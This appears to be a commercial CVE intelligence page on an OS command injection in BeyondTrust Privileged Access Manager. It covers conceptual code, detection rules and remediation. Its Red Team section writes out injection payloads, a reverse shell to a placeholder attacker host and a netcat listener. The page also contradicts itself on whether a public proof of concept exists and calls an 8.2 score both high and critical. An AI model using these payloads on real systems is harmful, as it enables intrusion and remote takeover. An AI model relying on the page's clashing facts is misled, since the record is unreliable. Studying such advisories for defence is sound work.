☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.2 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2020-11847

CVE-2020-11847 OS Command Injection in Beyondtrust
📅 PUBLISHED: 2024-08-21 13:38 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.2
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2020-11847 is a critical OS command injection vulnerability in BeyondTrust Privileged Access Manager (PAM) prior to version 3.7.0.1. An authenticated SSH user can execute arbitrary OS commands with full system privileges by leveraging the PAM server's command execution capabilities. This flaw allows a low-privileged attacker to escalate to root-level access, compromising the entire PAM infrastructure. The vulnerability has a CVSS score of 8.2, indicating high severity, and is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command). No public proof-of-concept or exploit code is currently available, but the risk remains significant for unpatched systems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 8.2 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • Threat Level: Critical – Exploitation could lead to full system compromise of the PAM server and potentially lateral movement within the network.

Deep Dive & Mechanics

The vulnerability resides in the SSH command execution functionality of BeyondTrust PAM. When an authenticated user connects via SSH, the PAM server processes user commands without proper sanitization. Specifically, the server fails to neutralize shell metacharacters (e.g., ;, |, &, $()) in user-supplied input before passing it to a system shell (e.g., /bin/bash). This allows an attacker to inject arbitrary OS commands that are executed with the privileges of the PAM service account, typically root.

The attack flow:

  1. Attacker authenticates to the PAM server via SSH with valid credentials.
  2. Attacker sends a crafted command containing shell metacharacters, e.g., ; id or $(whoami).
  3. The PAM server concatenates the input into a command string without validation.
  4. The command is executed by the underlying OS shell, granting the attacker full system access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def execute_command(user_input):
    # Vulnerable: direct concatenation without sanitization
    command = "/bin/bash -c 'echo " + user_input + "'"
    subprocess.call(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def execute_command(user_input):
    # Patched: use shlex.quote to escape shell metacharacters
    safe_input = shlex.quote(user_input)
    command = "/bin/bash -c 'echo " + safe_input + "'"
    subprocess.call(command, shell=True)

The patched version uses shlex.quote() to escape special characters, preventing command injection. BeyondTrust also implemented input validation and parameterized command execution in version 3.7.0.1.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid SSH credentials for the PAM server (low-privileged user).
  • Network access to the PAM server on port 22.

Exploitation Steps:

  1. Connect to the PAM server via SSH:
    ssh low_priv_user@pam-server
    
  2. Execute a command injection payload to verify vulnerability:
    ; id
    
    Expected output: uid=0(root) gid=0(root) groups=0(root)
  3. Escalate to a full reverse shell:
    ; bash -i >& /dev/tcp/attacker_ip/4444 0>&1
    
  4. On attacker machine, listen for the shell:
    nc -lvnp 4444
    

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection Steps:

  1. Monitor SSH logs for unusual command patterns:
    grep -E ';|\||\$\(|`' /var/log/auth.log
    
  2. Enable command logging on the PAM server to capture all executed commands.
  3. Deploy network-based detection for shell metacharacters in SSH sessions.
  4. Implement strict input validation and use parameterized commands in PAM configurations.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • SSH sessions containing shell metacharacters (;, |, &, $(), `).
    • Outbound connections from PAM server to unknown IPs on high ports (e.g., 4444).
  • Host IOCs:
    • Unexpected processes spawned by the PAM service (e.g., /bin/bash, /bin/sh).
    • Modified system binaries or configuration files.
    • Presence of reverse shell payloads in /tmp/ or /dev/shm/.
  • Log IOCs:
    • Auth.log entries with commands containing ; or |.
    • Auditd logs showing execution of /bin/bash by the PAM user.

Detection Engineering

YARA Rule

rule CVE_2020_11847_Command_Injection {
    meta:
        description = "Detects command injection attempts against BeyondTrust PAM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-11847"
    strings:
        $cmd1 = /;[\s]*[a-z]/ nocase
        $cmd2 = /\|[\s]*[a-z]/ nocase
        $cmd3 = /\$\(/ nocase
        $cmd4 = /`[a-z]/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2020-11847 BeyondTrust PAM Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts via SSH in BeyondTrust PAM logs
author: Valters IT
logsource:
    product: linux
    service: auth
detection:
    selection:
        - Command|contains: ';'
        - Command|contains: '|'
        - Command|contains: '$('
        - Command|contains: '`'
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in commands
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2020-11847 BeyondTrust PAM Command Injection"; flow:to_server,established; content:"|3B|"; within:100; content:"|7C|"; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade BeyondTrust PAM to version 3.7.0.1 or later.
  2. If upgrade is not possible, restrict SSH access to trusted users only.
  3. Implement network segmentation to limit PAM server exposure.

Long-term Mitigations:

  • Apply the principle of least privilege for SSH users.
  • Enable command logging and auditing on the PAM server.
  • Deploy a Web Application Firewall (WAF) or IDS/IPS to detect injection attempts.
  • Regularly review and patch all PAM components.

Workaround:

  • Disable SSH command execution if not required, or use a jump host with strict controls.

Report generated by Valters IT DevSecOps & CTI Division

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

BeyondTrust PAM
Privileged Access Manager

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2020-11847/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.